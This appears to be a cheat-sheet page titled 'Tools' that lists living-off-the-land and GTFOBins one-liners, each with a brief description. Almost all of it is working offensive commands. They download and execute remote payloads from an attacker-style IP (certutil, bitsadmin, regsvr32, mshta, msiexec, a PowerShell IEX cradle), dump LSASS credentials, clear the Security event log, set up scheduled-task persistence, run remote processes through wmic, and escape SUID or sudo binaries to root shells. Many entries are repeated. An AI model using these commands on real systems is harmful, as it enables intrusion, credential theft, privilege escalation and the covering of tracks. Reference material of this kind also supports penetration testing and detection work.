Tools

regsvr32 loads a scriptlet straight from a remote URL, sidestepping AppLocker rules that only block .exe execution.

regsvr32 /s /n /u /i:http://10.10.14.7/payload.sct scrobj.dll

awk's system() function runs an arbitrary command — another common SUID-binary shell-breakout primitive from GTFOBins.

awk 'BEGIN {system("/bin/sh")}'

The BITS job service moves a file over HTTP in the background, a built-in transfer path separate from PowerShell logging.

bitsadmin /transfer job /download /priority high http://10.10.14.7/payload.exe C:\Windows\Temp\payload.exe

The Background Intelligent Transfer Service is designed for Windows Update traffic and often has a quieter egress path than a browser or PowerShell's own web client.

bitsadmin /transfer job /download /priority high http://10.10.14.7:8000/file.exe C:\Windows\Temp\file.exe

certutil's -decode flag doubles as a base64 decoder, useful when nothing else on the box will do it for you.

certutil -decode encoded.b64 decoded.bin

certutil is signed, present on every Windows box by default, and nobody expects it to make HTTP requests — a classic LOLBAS download primitive.

certutil.exe -urlcache -split -f http://10.10.14.7:8000/file.exe file.exe

certutil doubles as a portable base64 decoder, useful when nothing else on the box will decode a payload.

certutil -decode encoded.b64 decoded.exe

Uses the built-in, code-signed certutil.exe to fetch a remote file without touching PowerShell, a classic LOLBAS download technique.

certutil.exe -urlcache -split -f http://10.10.14.7/payload.exe payload.exe

The MiniDump export inside the built-in comsvcs.dll can be invoked through rundll32 to dump a process, including LSASS, without a separate tool.

rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).Id C:\Windows\Temp\lsass.dmp full

A dependency-free lateral movement primitive once credentials for the target are already known, no PsExec binary required.

wmic /node:"10.10.10.5" /user:"DOMAIN\admin" process call create "cmd.exe /c whoami > C:\Windows\Temp\out.txt"

forfiles.exe passes an arbitrary command to /c, a built-in binary that quietly runs code and is easy to overlook in a LOLBAS sweep.

forfiles /p C:\Windows\System32 /m notepad.exe /c "cmd /c calc.exe"

MSBuild.exe ships with the .NET framework and will run inline tasks embedded in a project file, bypassing simple AppLocker rules.

MSBuild.exe payload.csproj

InstallUtil.exe runs the Uninstall-decorated method of a .NET assembly, a signed-binary execution path that predates most AppLocker rulesets.

InstallUtil.exe /logfile= /LogToConsole=false /U payload.exe

The COM-registration utility runs a marked class constructor from a signed .NET assembly, another AppLocker-friendly LOLBAS binary.

Regasm.exe /U payload.dll

rundll32.exe can invoke a remote scriptlet through the mshtml/advpack chain, another built-in binary that executes attacker script.

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:http://10.10.14.7/payload.sct")

A GTFOBins classic: find's -exec flag runs an arbitrary command, so a SUID find binary hands you a root shell outright.

find . -exec /bin/sh -p \; -quit

Membership in the docker group is root-equivalent: mounting the host filesystem into a throwaway container gives full read and write access to it.

docker run -v /:/mnt --rm -it alpine chroot /mnt sh

find -exec spawns an arbitrary command, so a SUID or sudo-permitted find is a direct root shell.

find . -exec /bin/sh -p \; -quit

vim runs a shell command with :! at its own privilege level, making a SUID or sudo-permitted vim a straightforward escalation.

vim -c ':!/bin/sh' /dev/null

awk system() executes an arbitrary shell command, enough on its own if awk is SUID or sudo-permitted.

awk 'BEGIN {system("/bin/sh")}'

less shells out through the same pager escape as vim and more, and ends up sudo-permitted surprisingly often for "read-only" log viewing.

less /etc/profile
# inside the pager:
!/bin/sh

perl exec() is another classic shell escape, common because perl ships on nearly every Unix-like system by default.

perl -e 'exec "/bin/sh";'

A one-liner that drops into an interactive shell via os.system, the same technique behind most python-based privesc chains.

python3 -c 'import os; os.system("/bin/sh")'

systemctl status pipes long output through less by default, so a sudo-permitted systemctl inherits the same shell escape as less.

sudo systemctl status trap
# inside the pager:
!/bin/sh

A little-known tar feature runs an arbitrary checkpoint action, which becomes a root shell when tar is SUID or sudo-permitted.

tar cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh

msiexec fetches and silently installs an MSI straight from a UNC or HTTP path, the installer equivalent of the mshta trick.

msiexec /quiet /i http://10.10.14.7/payload.msi

InstallUtil.exe, a signed .NET Framework binary, will run a custom installer class's methods — a documented LOLBAS execution path.

InstallUtil.exe /logfile= /LogToConsole=false /U file.exe

The Windows counterpart to GTFOBins — signed, native Windows binaries and scripts that can be repurposed to download, execute or exfiltrate without dropping extra tooling on disk.

Reference database of Windows binaries, scripts and libraries that can be repurposed for living-off-the-land attack techniques — the site itself, not any single one-liner in it.

Catalogue of known vulnerable and malicious signed Windows kernel drivers (the "bring your own vulnerable driver" list) used for EDR-killing and kernel-level attacks.

MSBuild will compile and execute inline tasks embedded in a .csproj file — a signed .NET build tool doubling as a code-execution engine.

MSBuild.exe project.csproj

mshta.exe runs HTML Applications, including script pulled from a URL — a signed Microsoft binary that happily executes remote script.

mshta.exe http://10.10.14.7:8000/file.hta

The classic PowerShell download cradle: pulls a script into memory and runs it without touching disk, so a file-based AV signature never gets a chance to fire.

powershell -nop -w hidden -c "IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.7:8000/script.ps1')"

Comsvcs.dll's MiniDump export, invoked through rundll32, dumps a process's memory using a Windows-signed DLL — a documented credential-access technique worth knowing defensively too.

rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump <pid> C:\Windows\Temp\dump.dmp full

A post-exploitation and C2 framework built around PowerShell (and Python) agents — one of the tools that popularised "living off the land" tradecraft in red-team engagements.

os.system() from a SUID or sudo-permitted python binary spawns a shell that keeps the elevated privilege — the same idea as the find/awk/vim primitives.

python3 -c 'import os; os.system("/bin/sh")'

A documented technique where regsvr32 registers a remotely hosted COM scriptlet over HTTP — one of the best-known LOLBAS entries.

regsvr32.exe /s /n /u /i:http://10.10.14.7:8000/file.sct scrobj.dll

mshta.exe executes HTML Application files straight off a URL, one of the most common LOLBAS initial-execution paths.

mshta.exe http://10.10.14.7/payload.hta

cscript.exe and wscript.exe execute .js/.vbs files directly, still the delivery mechanism behind a lot of commodity phishing payloads.

cscript.exe //nologo payload.vbs

The built-in Task Scheduler CLI, used to re-run something on logon or on a timer — no third-party persistence tooling required.

schtasks /create /sc onlogon /tn "Updater" /tr "C:\Windows\Temp\run.exe" /rl highest

wmic process call create starts a process with no visible console window, and works against a remote host with /node.

wmic process call create "cmd.exe /c whoami > C:\Windows\Temp\out.txt"

systemctl status pipes its output through less by default; from inside that pager, !/bin/sh spawns a shell — a real GTFOBins entry that surprises a lot of people.

sudo systemctl status trivial-rce-cve
# once the pager opens, type: !/bin/sh

GNU tar's --checkpoint-action flag can be abused to run an arbitrary command mid-archive — one of the less obvious GTFOBins entries.

tar cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh

vim's :! escape runs a shell command — with sudo vim or a SUID vim binary that shell inherits the elevated privilege.

vim -c ':!/bin/sh'

wevtutil is the signed, built-in way to clear an event log channel — worth knowing for blue-team log-tampering detection just as much as red-team tradecraft.

wevtutil cl Security

Given valid credentials, wmic can start a process on a remote machine — a built-in lateral-movement primitive that needs no extra tooling on disk.

wmic /node:10.10.10.10 /user:DOMAIN\user /password:pass process call create "cmd.exe /c whoami > C:\out.txt"